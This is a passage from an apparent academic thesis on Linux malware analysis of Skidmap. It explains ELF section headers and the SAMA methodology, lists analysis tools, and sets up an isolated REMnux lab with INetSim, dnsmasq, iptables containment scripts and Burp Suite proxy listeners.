Elf64_Word Elf64_Word Elf64_Xword Elf64_Addr Elf64_Off Elf64_Word Elf64_Word Elf64_Word Elf64_Xword Elf64_Xword Elf64_Xword	<pre>sh_name; sh_type; sh_flags; sh_addr; sh_offset; sh_size; sh_link; sh_info; sh_addralign; sh_entsize;</pre>	/* Section name (string tbl index) */ /* Section type */ /* Section flags */ /* Section virtual addr at execution */ /* Section file offset */ /* Section size in bytes */ /* Link to another section */ /* Additional section information */ /* Section alignment */ /* Entry size if section holds table */	

Figure 2.2.4.1 – Section header structure

The very first field is the "sh_name" stores the value of an index to the string table (".shstrtab section"). In case this field is zeroed, the section does not have a name.

Next, comes the "sh_type" which contains an integer that gives information to the linker about the structure of a section's contents. The important section header types are illustrated below (Table 2.2.4.1):

Name	Value
SHT_PROGBITS	1
SHT_SYMTAB	2
SHT_STRTAB	3
SHT_RELA	4
SHT_REL	9
SHT_DYNSYM	11

The "SHT_PROGBITS" holds information that are defined by the program such as machine instructions or constants. The "SHT_SYMTAB" holds static symbol tables and the "SHT_DYNSYM" hold symbol tables used by the dynamic linker that describe the type and name of specific addresses or file offsets. It is important to note that if the binary is stripped, the static symbol table may not exist. The "SHT_REL" or "SHT_RELA" sections are especially important for the linker as they hold relocation entries in a formatted way (defined by the structures inside "elf.h"). The linker then can analyze those entries to perform any necessary relocations. Note that these sections are used for

static linking purposes. On the other hand, "SHT_DYNAMIC" contains information for dynamic linking purposes, formatted accordingly.

More information about the sections can be obtained through the "sh_flags" field. If a section is writable at runtime, the "SHF_WRITE" flag will be turned on. Furthermore, the "SHF_ALLOC" flag can be helpful during the static analysis, since it indicates that this section will be loaded into virtual memory upon execution. Additionally, the "SHF_EXECINSTR" flag is an indication that the section contains executable instructions (Table 2.2.4.2).

Name	Value
SHF_WRITE	1
SHF_ALLOC	2
SHF_EXECINSTR	4

Table 2.2.4.2 - Section header flags	S
--------------------------------------	---

Moreover, the "sh_addr", "sh_offset", and "sh_size" are self-explanatory fields of a section header as they contain the virtual address, the file offset and the size of the section respectively.

Some sections are related to each other. This relationship is denoted by the "sh_link" field of the section header, which contains the index of the related section. The "sh_info" field is a similar to "sh_link" field, meaning that it contains an index of a different section, and is used for additional information as seen in the table below (Table 2.2.4.3):

sh_type	sh_link	sh_info
SHT_DYNAMIC	The section header index of the string table used by entries in the section.	0
SHT_HASH	The section header index of the symbol table to which the hash table applies.	0
SHT_REL SHT_RELA	The section header index of the associated symbol table.	The section header index of the section to which the relocation applies.
SHT_SYMTAB SHT_DYNSYM	The section header index of the associated string table.	One greater than the symbol table index of the last local symbol (binding STB_LOCAL).
SHT_GROUP	The section header index of the associated symbol table.	The symbol table index of an entry in the associated symbol table. The name of the specified symbol table entry provides a signature for the section group.
SHT_SYMTAB_ SHNDX	The section header index of the associated symbol table section.	0

Table 2.2.4.3 – "sh_type", "sh_link" and "sh_info"" field correlation

If any alignment in memory needs to be performed for efficiency reasons, then the base address of the section needs to be a multiple of the value in the "sh_addralign" field. In case of 0 or 1, it means that no alignment is needed.

Last but not least, there is the "sh_entsize" field, which is used when a section contains a table, and denotes the size of each entry in the table.

3 Methodology and Tools

In this chapter, the methodology that was used during the analysis of "Skidmap" is described. In addition, the selected tools as well as a brief description of their capabilities is listed.

3.1 Methodology

The methodology that this thesis is based on is the "SAMA" methodology [2], where the Malware Analysis procedure is divided into a sequence of four major stages that need to be accomplished. Those stages are the "Initial Actions", the "Classification", the "Code Analysis" and the "Behavioral Analysis" (Figure 2.2.4.1).



Figure 2.2.4.1 – "SAMA" higher level hierarchy

The first stage, named "Initial Actions", is a set of steps that aim at preparing a suitable for analysis environment. The first prerequisites for it be suitable is to be secure, so that an infected machine will not be able to spread the malware on the rest of the network. Additionally, the working environment must be modified appropriately so that can be used as a reference point for the next stages of the analysis. Therefore, a snapshot of the machine prior to its infection must be captured.

The "Classification" stage describes the first actions that are taken to a newly obtained suspicious sample. Consequently, as the name of this stage may imply, it involves the fingerprinting of the sample with the use of hash algorithms, the collection of its characteristics with file analysis tools, the similarity with other samples, the information extraction from open sources, the identification of the protection mechanisms that have been deployed as well as their bypassing.

The next stage is called "Code Analysis" and it is the most time-consuming stage. Static and dynamic means are used to understand the sample's functionality.

The last stage of this methodology, "Behavioral Analysis", can be described as the set of actions to be performed in order to extract information about an executed sample, by inspecting its impact on the system.

Every stage of "SAMA" is described in great detail and is thoroughly analyzed into a series of steps to be completed. For each step a series of tools is suggested and the information that should

be extracted on each stage are defined. Nevertheless, it was decided to strictly adhere to the higherlevel of the methodology and take into consideration each step's instructions rather that strictly abide by them.

The main reason for this decision lies in the fact that the specimens found during the analysis may alter the analysis workflow. While "SAMA" suggests that the new specimen is fully analyzed after the analysis of the original one, such procedure might be excessively time consuming. A partial "Classification" and "Code Analysis" of the dropped file, prior the completion of the original sample analysis, may be sufficient and serve better the purpose of the analysis. Moreover, the dynamic code analysis is described as a process that follows the static code analysis. During the "Skidmap" case study though, it was considered that those methods are mutually dependent and are cycled multiple times while reviewing the code of the sample. In addition, it is considered that some steps of the behavioral analysis appertain to Forensics field. Another matter that should be taken in consideration is that new findings may require the creation of a new environment, hence a new specimen will return to "Initial Actions" stage rather than the "Classification" one. Finally, although this methodology can be applied in any OS, the tools that are proposed are mainly "Windows" oriented, thus it had to be adapted to be applicable to Linux malware analysis.

3.2 Tools

While the methodology suggests specific tools for each step of the analysis stages, the chosen tools may vary between analysts as it is a matter of personal preference.

The tools that were used throughout the Analysis stages "Skidmap" malware are listed in the following table (Table 3.2.1):

ΤοοΙ	Description
ANY.RUN [10]	Online sandbox whose free version provides a 32-bit Windows 7 environment for up to five minutes. If a file is uploaded to the VM it cannot exceed the 16 MB.
Applysig [11]	Plugin for "Ghidra" software which extend its capabilities to apply IDA FLIRT signatures.
Burp Suite Community Edition [12]	The free and therefore limited-feature edition of Burp Suite which can act as a man in the middle and intercept the network traffic.
CentOS [13]	CentOS is a community-driven free Linux distribution
chmod [14]	A UNIX command that is used to change file permissions.
Chkrootkit [15]	A shell script that checks system binaries for modifications relevant to known rootkits
Clamav [16]	An open-source AV engine.
CyberChef [17]	A software for analyzing and converting multiple data formats
Detect it easy [18]	A cross platform application for inspecting files. Hash calculation, string inspection, obfuscator detection, entropy diagrams, section and header viewer are some of its features.
Dnsmasq [19]	A lightweight, easy to configure DNS forwarder, designed to provide DNS services on a small scale network.

Table 3.2.1 – List of Analysis tools

distrowatch [20]	A website that contains updated information about all the Linux and BSD distributions
Exeinfope [21]	A portable tool that can be used for inspection of PE executable file.
file [6]	A command that identifies the file type of the given input. It is not based on the file extension to determine its type, but rather
gcc [22]	The well-known C and C++ compiler
gedit [14]	A GUI-based text editor for GNOME desktops.
Ghidra [23]	An open-source reverse engineering software created by NSA
Git [24]	is a free and open-source software distribution platform
InetSim [25]	A software that is used to simulate Internet services
iptables [14]	A Linux command to set firewall rules to the incoming and outgoing packets
iptables web GUI [26]	A graphical user interface for easier modification of IPtables.
Make [27]	A tool used for building and maintaining groups of programs from source code
md5sum [28]	A command used for the computation of MD5 checksum
Nethserver [29]	A CentOS based server
ping [14]	A command that is used to verify connectivity between two systems.
Pwndbg [30]	Is a python module to be loaded into GDB
Python [31]	A programming language that is directly interpreted
readelf [32]	Unix built-in command that displays information about ELF format object files
REMnux [33]	A Linux toolkit mainly for malware analysis and reverse-engineering purposes.
SciTE [34]	A text editor that comes pre-installed on REMnux systems
sig-database [35]	A collection of IDA FLIRT signatures
ssdeep [36]	ssdeep is a program for computing context triggered piecewise hashes (CTPH). Another more sophisticated way of sample identification.
stat [37]	A Linux command to get the status of the file
strace [38]	A tool that, as its name implies, traces system calls of a running program.

tar [39]	Is Linux file archiver			
Ubuntu [40]	Of the most famous computer operating systems based on the Debian Linux distribution.			
UPX [41]	It stands for "Ultimate Packer for eXecutables" and it is open source. It can be used for both packing and unpacking and it supports many file formats.			
Virtualbox [42]	One of the best free and powerful solutions regarding virtualization provided by Oracle.			
Wireshark [43]	The most famous network protocol analyzer used. Can provides network examination at a microscopic level.			
YARA [44]	YARA rules are another way of identifying			
YARA rules [45]	characteristics.			
7z – 7za [46]	File archiver			

4 Lab Setup

The lab setup is based on the ENISA guidelines [47] and consists of two kinds of VMs: the GW VM and the Analysis VMs. The "REMnux" distribution is based on "Ubuntu 18.04 LTS" and was selected for both the GW VM and the Analysis VM for the "Classification" and the "Code Analysis" stages. The main benefit of its selection is that it is a malware analysis-oriented distribution, and consequently comes with many related tools preinstalled. For the "Behavioral Analysis" stage an "Ubuntu" 20.04 VM was preferred over other distributions as it is one of the most popular Linux distributions for personal use. The "REMnux" distribution could be used as well but since it is a well-known malware analysis tool, it is always possible that it may be "flagged" by some malware.

The main advantage of this Lab architecture is its modular nature and the scalability that it offers. More VMs can be added if needed by the under-investigation sample or if other type of malware analysis (Windows, Android, etc.) will take place. In the case of "Skidmap" analysis two additional Analysis VMs were later needed to be added. Both are "CentOS" based, one on version 7.7 and one on version 8.2. The first one is "Nethserver" as there was no such "CentOS" version still available. Some "Classification and "Code Analysis" steps were performed on "Nethserver" VM, while both were used for "Behavioral Analysis" stage. In this chapter, only the preparation of "REMnux GW", "REMnux Analysis" and "Ubuntu" VMs are described, while "Nethserver" and "CentOS" VMs were installed accordingly to "Ubuntu VM"

On other advantage it that the access to the Internet, or the Fake Internet provided by "InetSim", can be centrally controlled by the GW. In order to achieve this, "iptable" rules were written and saved to scripts that provide easy transition between the desired states. Also "BurpSuit Community edition" and "INetSim" were used to interrupt the network traffic and to provide fake network services, respectively.

The hypervisor that was preferred is "VirtualBox" due to its open-source nature and due to the longer experience using it. However, any other hypervisor is eligible for the needs of this lab.

4.1 Network Topology

The core component of the topology (Figure 2.2.4.1) is the "GW REMnux" which provides connectivity between the three different subnets of this lab.

The first ethernet interface (eth0) provides connectivity to the internet through NAT, meaning that its IP address is dynamically assigned by DHCP.

The second ethernet interface (eth1) acts as the core node in a simple star topology where every peripheral node is connected to. IP address assignment in this subnet 10.0.0/24 was statically inserted. The subnet consists of:

- "REMnux GW" VM (10.0.0.1)
- "Analysis REMnux" VM (10.0.0.4)
- "Ubuntu" VM (10.0.0.5)
- "CentOS" VM (10.0.0.6), and
- "NethServer" VM (10.0.0.7)

The last ethernet interface (eth2) is responsible for the connectivity with the host, and its IP address (192.168.56.10) is statically inserted. To correctly assign this address, the command "ipconfig" was issued on the Host-PC and the VirtualBox Host-Only subnet was discovered (Figure 2.2.4.2).

Linux Malware Analysis – A Skidmap case study



Figure 2.2.4.2 – Discovering the Virtual Host-Only Network Adapter

4.2 REMnux GW VM Setup

The "REMnux GW" VM is of outmost importance for the Malware Analysis Laboratory due to the services that provides to the rest of the VMs (Analysis VMs). "INetSim", "iptables" and "BurpSuite Community Edition" software is used in conjunction to provide internet or Simulated Internet services as well as the ability to intercept the traffic.

The possible services that can be provided to each of the analysis VM are shown in the figure below (Figure 2.2.4.1). This is achieved by executing the appropriate script and by enabling (if needed) the according "burp" proxy listeners. The actions regarding the software installation as well as the development of the ".firewall" and ".json" files are analyzed in the following subsections (4.2.1 - 4.2.6).



Figure 2.2.4.1 – The use of InetSim and BurpSuite on REMnux GW

4.2.1 Import Appliance

For the appliance to be imported the latest "REMnux" VM was downloaded from the official repository [33]. For the appropriate installation window to appear the "Ctrl+I" key combination was simultaneously hit.

There are three separate network adapters on the "REMnux GW" VM (Figure 4.2.1.1). The first one is responsible for the Internet connectivity, so it was attached to NAT. The second one was attached to the "Internal Network" named "intranet" while the last one was set to "Host-Only" and was responsible for secure file sharing with the host PC.

Network				
Adapter 1	Adapter 2	Adapter 3	Adapter 4	
🗹 Enable N	etwork Adapte	r		
Attach	ned to: NAT		•	
Adapter 1	Adapter 2	Adapter 3	Adapter 4	
🗹 Enable Ne	etwork Adapter	r		
Attach	ed to: Intern	al Network	~	
	Name: intran	et	~	
Adapter 1	Adapter 2	Adapter 3	Adapter 4	
C Enable Network Adapter				
Attach	ed to: Host-o	nly Adapter	-	
1	Name: Virtual	Box Host-Only	Ethernet Adapter 👻	

Figure 4.2.1.1 – REMnux GW Adapters

4.2.2 System Update

After the first boot of the GW VM, the latest updates were applied to the system by typing the following commands to a terminal:

```
$ sudo apt-get update$ sudo apt-get upgrade
```

Then, a snapshot was captured to avoid repeating this process in case of system failure. Generally, the VM's state was saved after completing a time-consuming step of the analysis or before moving to a step that might need to be repeated (either because it is a trial attempt or because more than one attempts are needed before reaching to a conclusion).

4.2.3 Network Configuration

The "ifupdown" installation was performed in order for the new network manager ("netplan") to be disabled, as the network management through "/etc/network/interfaces" was preferred. To be able to use the "ifconfig command", the "net-tools" package was also installed. The corresponding command was:

• \$ sudo apt install ifupdown net-tools

Additionally, another change based on personal preference was made. This was to rename the interfaces with the older naming convention [48]. Therefore, the three adapters were configured inside the "/etc/network/interfaces" file as illustrated below (Figure 4.2.3.1)

GNU nano 2.9.3 /etc/network/interfaces
#NAT
auto eth0
iface eth0 inet dhcp
#intranet
auto eth1
iface eth1 inet static address 10.0.0.1 netmask 255.255.255.0 network 10.0.0.0
broadcast 10.0.0.255
#host-only
auto eth2
iface eth2 inet static
address 192.168.56.10
netmask 255.255.255.0
network 192.168.56.0

Figure 4.2.3.1 – The edited /etc/network/interfaces

A restart of the interfaces was needed so the commands "ifdown" and "ifup" were used sequentially. In addition, several "ping" command verified that the network was succesfully configured (Figure 4.2.3.2). The actual commands that were used, are:

- \$ sudo ifdown eth0, eth1, eth2
- \$ sudo ifup eth0, eth1, eth2
- \$ ping -c 4 -l eth0 8.8.8.8
- \$ ping -c 4 -l eth2 192.168.56.1

```
File Edit View Search Terminal
                                   Help
 emnux@remnux:~$ ping -c 4 -I eth0 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 10.0.2.15 eth0: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp seq=1 ttl=115 time=70.7 ms
64 bytes from 8.8.8.8: icmp seq=2 ttl=115 time=69.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=115 time=69.8 ms
64 bytes from 8.8.8.8: icmp seq=4 ttl=115 time=70.3 ms
 --- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3062ms
rtt min/avg/max/mdev = 69.758/70.173/70.713/0.511 ms
 remnux@remnux:~$ ping -c 4 -I eth2 192.168.56.1
PING 192.168.56.1 (192.168.56.1) from 192.168.56.10 eth2: 56(84) bytes of data.
64 bytes from 192.168.56.1: icmp_seq=1 ttl=128 time=0.314 ms
64 bytes from 192.168.56.1: icmp_seq=2 ttl=128 time=0.309 ms
64 bytes from 192.168.56.1: icmp_seq=3 ttl=128 time=0.276 ms
64 bytes from 192.168.56.1: icmp_seq=4 ttl=128 time=0.287 ms
--- 192.168.56.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3344ms
rtt min/avg/max/mdev = 0.276/0.296/0.314/0.023 ms
 emnux@remnux:~$
```

Figure 4.2.3.2 – Network Connectivity Verification

At that point, another snapshot was captured.

4.2.4 Additional Software Installation

The "INetSim" software provided dynamic name translation services, when simulated internet was provided to the Analysis VMs. On the other hand, "INetSim" was disabled when connectionr thr the internet was required. Thus, another tool was used to act as the DNS, named "dnsmasq". This was installed by typing the following line into the "GW"'s terminal:

• \$ sudo apt-get install dnsmasg

The configuration file of "dnsmasq" was copied and its contents were altered to those shown bellow

(Figure 4.2.4.1).

	remnux@remnux: ~	_ 0	×
File Edit View	Search Terminal Tabs Help		
remnux@re	× remnux@re × remnux@re	Æ	•
<pre>remnux@remnux: no-poll domain-needed bogus-priv strict-order interface=eth1 bind-interfaces log-gueries</pre>	-\$ sudo cat /etc/dnsmasq.conf 5		

Figure 4.2.4.1 – The modified dnsmasq.conf

Moreover, a web GUI [26] for "iptables" was downloaded in order to test the ".firewall" scripts. A visual representation of the "iptables" (rules, chains & tables) and the network traffic had a great impact when developing those files. The installation processes started with downloading the file:

• \$ sudo git clone https://github.com/puux/iptables.git

Then, the following commands followed, in order to install and run the server:

- \$ cd /iptables
- \$ sudo npm install
- \$ node server.js

The interface was available by visiting localhost on port "1337" (Figure 4.2.4.2 & Figure 4.2.4.3).

remnux@remnux: ~/iptables	-	•	×
File Edit View Search Terminal Help			
<pre>remnux@remnux:~\$ sudo git clone https://github.com/puux/iptables.git Cloning into 'iptables' remote: Enumerating objects: 58, done. remote: Counting objects: 100% (58/58), done. remote: Compressing objects: 100% (36/36), done. remote: Total 363 (delta 20), reused 55 (delta 17), pack-reused 305 Receiving objects: 100% (363/363), 284.26 KiB 639.00 KiB/s, done. Resolving deltas: 100% (208/208), done. remnux@remnux:~\$ cd iptables/ remnux@remnux:~\iptables\$ sudo npm install npm notice created a lockfile as package-lock.json. You should commit added 1 package from 1 contributor and audited 1 package in 2.946s found 0 vulnerabilities</pre>	this	fil	.e.
remnux@remnux:~/iptables \$			

Figure 4.2.4.2 – Installing Web GUI for "iptables"

The default credentials are Username: Admin, Password: empty.

				INPUT	OUTPUT	FORWARD	PREROUTING	POSTROUTING	Custom ↓		
PREF	OUTIN	<u>G[nat]</u>									
ID	pkts	bytes					RULE				CMD
0	0	0	-P PRERO	UTING ACC	EPT						
1	0	0	-A PRERO	UTING -i etl	1 -j DNATt	o-destination 10	0.0.0.1 //Redirect tr	affic to INetSim			×
	Ν	ew rule:									+
						Re	set 🍃 🛛 Settings	🍪 🛛 Save 🔡	Load 🔚	SysLogs 💿	TcpDump 🕲
	Figure 4.2.4.3 – The "iptables" web GUI										

The installation process of "BurpSuite Community Edition" was as easy as downloading the latest 64-bit installation file for Linux OSes [49] and entering the following command into a terminal:

• \$ sudo bash <downloaded file>

The rest of the processes was guided, and the "/opt/BurpSuiteCommunity" folder was selected as the installation folder

4.2.5 Firewall Scripts

The scripts provided by ENISA on their "Artefact handling" VM ("styx32.ova") [50] were modified accordingly for the needs of this Lab environment. As a result, four ".firewall" scripts were created that were responsible for the routing changes to be applied on demand.

4.2.5.1 The "internet.firewall" script

The first script that was created was the "internet.firewall" script (Figure 4.2.5.1.1) in order for the Analysis VMs to access the WWW.

1 inte	rnet.firewall
1	#!/bin/bash
3 4 5	# stop existing systemd-resolved service sudo service systemd-resolved stop
6 7 8	# stop existing dnsmasq service sudo /etc/init.d/dnsmasq stop
9 10 11	# stop existing inetsim service sudo /etc/init.d/inetsim stop
12 13 14 15	# restore saved interfaces configuration file sudo rm /etc/network/interfaces sudo cp /etc/network/interfaces.internet /etc/network/interfaces
16 17 18	# Echo commands and abort on errors set -xeu
19 20 21	# Clean iptables sudo /lab/bin/reset-iptables.sh
22 23 24	# Define network interfaces: IFACE_WAN=eth0 IFACE_LAN=eth1
25 26 27	# Set iptable rules iptables -A FORWARD -i <mark>\$IFACE_LAN</mark> -o <mark>\$IFACE_WAN</mark> -m commentcomment "Forward traffic_from_eth1_to_eth0" -i ACCEPT
28 29	iptables -A FORWARD -i \$IFACE_WAN -o \$IFACE_LAN -m statestate ESTABLISHED, RELATED -m commentcomment "Forward traffic from eth0 to eth1" -j ACCEPT iptables -t nat -A POSTROUTING -o \$IFACE_WAN -m commentcomment "Masguerade
30	outgoing traffic" -j MASQUERADE
31 32 33	# Enable packet forwarding echo 1 > /proc/sys/net/ipv4/ip_forward
34 35 36	# enable systemd-resolved sudo systemctl enable systemd-resolved.service
37 38 39	# restart networking service sudo /etc/init.d/networking restart
40 41 42	# restart systemd-resolved service sudo service systemd-resolved restart
43 44	# start dnsmasq service sudo /etc/init.d/dnsmasq start

Figure 4.2.5.1.1 – The internet.firewall file

The script begins with the termination of all the related services ("systemd-resolved", "dnsmasq" and "inetsim") that may be activated from any other ".firewall" script and ends with the reactivation of those needed.

After the services are stopped, the "/etc/network/interfaces.internet" that was created for this specific script is being restored as the "/etc/network/interfaces" in use. After a series of failed attempts, it was decided that a separate "interfaces" script for each of the ".firewall" scripts would simplify the troubleshooting process.

The original "/etc/network/interfaces" that was previously created (Figure 4.2.3.1) was saved as "/etc/network/interfaces.backup".

The bash script flags "xeu" were set for the script to be more verbose while being executed and to abort in case an error was encountered.

In the line 20 of "internet.firewall" another script dedicated for clearing the "iptables" [51] is being executed (Figure 4.2.5.1.2).

```
1 reset-iptables.sh
 #!/usr/bin/env bash
 set -eu
 declare -A chains=(
   [filter]=INPUT:FORWARD:OUTPUT
   [raw]=PREROUTING:OUTPUT
   [mangle]=PREROUTING:INPUT:FORWARD:OUTPUT:POSTROUTING
   [security]=INPUT:FORWARD:OUTPUT
   [nat]=PREROUTING:INPUT:OUTPUT:POSTROUTING
 for table in "${!chains[@]}"; do
   echo "${chains[$table]}" | tr : $"\n" | while IFS= read -r; do
      iptables -t "$table" -P "$REPLY" ACCEPT
   done
   iptables -t "$table" -F
   iptables -t "$table" -X
 done
```

Figure 4.2.5.1.2 – The "reset-iptables.sh" file

For the Internet to be accessed from the Analysis VMs, three "iptables" rules are applied. The first one is responsible for redirecting the traffic from the "intranet" interface to the "NAT" while the second allows for the responses to be returned in the same way. The third rule masquerades the outgoing traffic so that NAT can be achieved. Also, comments have been typed in the "iptables" rules that declare their functionality.

IP forwarding is important for the routing to be, so it was applied in every ".firewall" script that was created. (line 32).

4.2.5.2 The "inetsim.firewall" script

The simulated traffic is routed via the "inetsim.firewall" script (Figure 4.2.5.2.1) to the analysis machines. The iptables of this file are blocking the access to port 22, the SSH port, from the intranet and redirect the rest of the incoming traffic from this adapter to the IP address that "INetSim" is configured to be listening to.

The services that are needed for those setting to be effective are of course different from those needed by the "internet.firewall" script, so they are disabled and enabled accordingly.
1 inet	tsim.firewall
1	#!/bin/bash
2	# ston existing dasmasg service
4	sudo /etc/init.d/dnsmasg stop
5	
6	# restore saved interfaces configuration file
7	sudo rm /etc/network/interfaces
8	sudo cp /etc/network/interfaces.backup /etc/network/interfaces
9	Handhard and Linghan Generation Glass
10	# restore saved inetsim configuration files
11	sudo rm /etc/inetsim/inetsim.com
13	sudo cp /etc/metsim/metsim.com.backup /etc/metsim/metsim.com
14	# Echo commands and abort on errors
15	set -xeu
16	
17	# Clean
18	sudo /lab/bin/reset-iptables.sh
19	# Define network interfaces
20	# Define network interfaces:
22	IFACE LAN=eth1
23	
24	# Set iptable rules
25	iptables -A INPUT -i \$IFACE_LAN -p tcp -m commentcomment "Block access to
	port 22 from Victim" -m tcpdport 22 -j DROP
26	iptables -t nat -A PREROUTING -i \$IFACE_LAN -m commentcomment "Redirect
27	traffic to INetSim" - J DNAI to-destination 10.0.0.1
27	
20	# Enable packet forwarding
30	echo 1 > /proc/svs/net/ipv4/ip forward
31	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1
32	#restart networking service
33	sudo /etc/init.d/networking restart
34	Hoter suisting and an all surgers
35	# stop existing systema-resolved service
37	suuo service systemu-resolveu stop
38	# disable systemd-resolved service
39	sudo systemctl disable systemd-resolved.service
40	
41	#restart inetsim service
42	sudo /etc/init.d/inetsim start

Figure 4.2.5.2.1 – The "inestim.firewall" file

The "inetsim.conf" file located on the "/etc/inetsim" path are of great importance as it contains a set of options that define the simulated services such as the default response to a URL request. On this script, the "inetsim.conf.backup" (Figure 4.2.5.2.2) which is also located on the "/etc/inetsim/" path which replaces the default "inetsim.conf".

The "inetsim.conf.backup" contains the following modifications:

- the enabling of all the available services, and
- the assignment of "10.0.0.1" in the "service_bind_address" and "dns_default_ip" fields.

Linux Malware Analysis – A Skidmap case study

Available service names are: # dns, http, smtp, pop3, tftp, ftp, ntp, time tcp, # time udp, daytime tcp, daytime udp, echo tcp, # echo udp, discard tcp, discard udp, quotd tcp, # guotd udp, chargen tcp, chargen udp, finger, # ident, syslog, dummy tcp, dummy udp, smtps, pop3s, # ftps, irc, https # start service dns start service http start service https start service smtp start service smtps start service pop3 start service pop3s start service ftp start service ftps start service tftp start_service irc start service ntp start service finger start service ident start service syslog start service time tcp start service time udp start service daytime tcp start service daytime udp start service echo tcp start service echo udp start service discard tcp start service discard udp start service quotd tcp start service quotd udp start service chargen tcp start_service chargen_udp start service dummy tcp start_service_dummy_udp service bind address 10.0.0.1 dns default ip 10.0.0.1

Figure 4.2.5.2.2 – The inetsim.conf.backup file

Apart from those differences that are mentioned above, no other significant one exists between those two files.

Since DNS resolving was handled by the "INetSim" software, the "system-resolved" and the "dnsmasq" services were stopped.

4.2.5.3 The "burp_internet.firewall" script

When malware analysis is carried out, a controlled environment is required. Thus, the ability to intercept the network traffic is important. To provide such control mechanism, the "burp_internet.firewall" script was created (Figure 4.2.5.3.1).

1 bu	rp_internet.firewall
21	
22	# Define network interfaces:
23	IFACE_WAN=eth0
24	IFACE_LAN=eth1
25	
26	# Set iptable rules
27	sudo iptables -A PREROUTING -t nat -i \$IFACE_LAN -p tcp -m tcpdport 80 -j REDIRECT to-ports 8080
28	sudo iptables -A PREROUTING -t nat -i \$IFACE_LAN -p tcp -m tcpdport 443 -j REDIRECT to-ports 8443
29	sudo iptables -A FORWARD -i \$IFACE_LAN -o \$IFACE_WAN -j ACCEPT
30	sudo iptables -A FORWARD -i \$IFACE_WAN -o \$IFACE_LAN -m statestate ESTABLISHED, RELATED -j ACCEPT
31	sudo iptables -A POSTROUTING -t nat -s 10.0.0.0/24 -o \$IFACE_WAN -j MASQUERADE
	Figure 4.2.5.3.1 – the burp_internet.firewall file

The "internet.firewall" and "burp_internet.firewall" file only differ on the "iptables" rules that are applied. The redirection from ports 80 and 443 to 8080 and 8443 respectively, was required as "BurpSuite Community Edition" was configured to listen to those ports. Therefore, corresponding rules were included in this script.

For this script to be functional, "BurpSuit Community Edition" must be already executed and listening to the above mentioned ports.

4.2.5.4 The "burp_inetsim.firewall" script

The final script that was written during the Lab setup, was the "burp_inetsim.firewall", capable of intercepting the simulated traffic that is generated by the "INetSim".

This script is similar to the "inetsim.firewall" file, but it uses a different "INetSim" configuration file, which was named "inetsim-burp.conf" (Figure 4.2.5.4.1). In this file the "service_bind_address" is set to 0.0.0.0, http_bind_port" is set to 880 and "https_bind_port" is set to 8443.

######################################								
# # IP address to bind services to #								
# Syntax: service_bind_address <ip address=""> #</ip>								
# Default: 127.0.0.1 #								
#service_bind_address 10.0.0.1 service_bind_address 0.0.0								
######################################								
# # Port number to bind HTTP service to #								
# Syntax: http_bind_port <port number=""> #</port>								
# Default: 80 #								
http_bind_port 880								
######################################								
# Port number to bind HTTPS service to #								
<pre># Syntax: https_bind_port <port number=""> #</port></pre>								
# Default: 443 #								
https_bind_port 8443								

Figure 4.2.5.4.1 – The inetsim-burp.conf

The redirection from the default http and https ports (80 and 443 respectively) to ports 880 and 8443, is achieved via "BurpSuit Community Edition" rather than "iptables" software. Therefore, there are no such rules implemented on this script (Figure 4.2.5.4.2).

1 bu	rp_inetsim.firewall
10	# restore saved inetsim configuration files
11	sudo rm /etc/inetsim/inetsim.conf
12	sudo cp /etc/inetsim/inetsim-burp.conf /etc/inetsim/inetsim.conf
13	
14	# Echo commands and abort on errors
15	set -xeu
16	
17	# Clean
18	sudo /lab/bin/reset-iptables.sh
19	
20	# Define network interfaces:
21	IFACE_WAN=eth0
22	IFACE_LAN=eth1
23	
24	# Set iptable rules
25	
26	# Enable packet forwarding
27	echo 1 > /proc/sys/net/ipv4/ip_forward

Figure 4.2.5.4.2 – The burp_inetsim.firewall

4.2.6 Configuration of "BurpSuite Community Edition"

Since this software edition is not the paid version, only a temporary project can be created, meaning that no changes are saved. For this reason, once the proxy listeners were configured, they were exported to "burp-internet_proxy-listeners.json" and "burp-inetsim_proxy-listeners.json". As their name suggests, "burp-internet_proxy-listeners.json" is meant to be used in conjunction with the "burp_internet.firewall", while "burp-inetsim_proxy-listeners.json" is meant to be used in conjunction with the "burp-intersim.firewall". Both files contain the proxy listeners of each other, so that the transition between "burp_intersim.firewall" and "burp_internet.firewall" can take place faster.

Beneath the proxy listener configuration, "PortSwigger" (the company that developed "BurpSuite") must be imported as a CA on the Analysis VMs. This process, however, is described separately for each Analysis VM, since the process differs slightly depending on the OS.

4.2.6.1 Proxy Listeners Configuration

After launching "BurpSuite Community Edition" with administrative privileges and selecting "Temporary Project" as well as "Use Burp defaults" on the prompted windows, the program is started. From the main menu, the tab "Proxy" and then tab "Options" were selected (Figure 4.2.6.1.1).

Dashboard	Target	Proxy	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	
Intercept	HTTP histo	iry We	bSockets hi	istory Opt	ions						

Figure 4.2.6.1.1 – Proxy Options tab

The default listener was removed and a new one was added by the "Proxy listener" sections. The new listener was bound to port "8080" from the "Binding" tab of the "Add a new proxy listener" window that had emerged, as shown in the figure below (Figure 4.2.6.1.2).

Linux Malware Analysis – A Skidmap case study

Edit proxy listener	×
Binding Request handling Certificate TLS Protocols	
? These settings control how Burp binds the proxy listener.	
Bind to port: 8080	
Bind to address: O Loopback only	
Specific address: 10.0.0.1	
OK	

Figure 4.2.6.1.2 – Proxy Listener Addition

On the "Request handling" tab, the "Support Invisible proxying (enable only if needed)" option was checked on the corresponding checkbox.

The same process was repeated for the port "8443".

The "8080" and "8443" listeners were made to be used in conjunction with "burp_internet.firewall", but they were not yet exported.

Next, two new proxy listeners were added, bound to ports "80" and "443". In order for ports below "1024" to be selected, root privileges are required. Both listeners, though, were set up to be redirecting the traffic to IP "10.0.0.1", ports "880" (Figure 4.2.6.1.3) and "8443" respectively.

				Edit proxy	listener	×
Binding	Request handli	ing Cer	rtificate	TLS Protocols		
? The	se settings cont	rol wheth	ier Burp r	edirects request	s received by this listener.	
Redi	rect to host: 10	0.0.0.1				
Redi	rect to port: 8	80				
F	orce use of TLS					
Invis	ible proxy supp	ort allows	s non-pro	xy-aware clients	to connect directly to the listener.	
⊘ :	Support invisible	proxying	ı (enable	only if needed)		
						OK Cancel

Figure 4.2.6.1.3 – Traffic Redirection through "BurpSuite Community Edition"

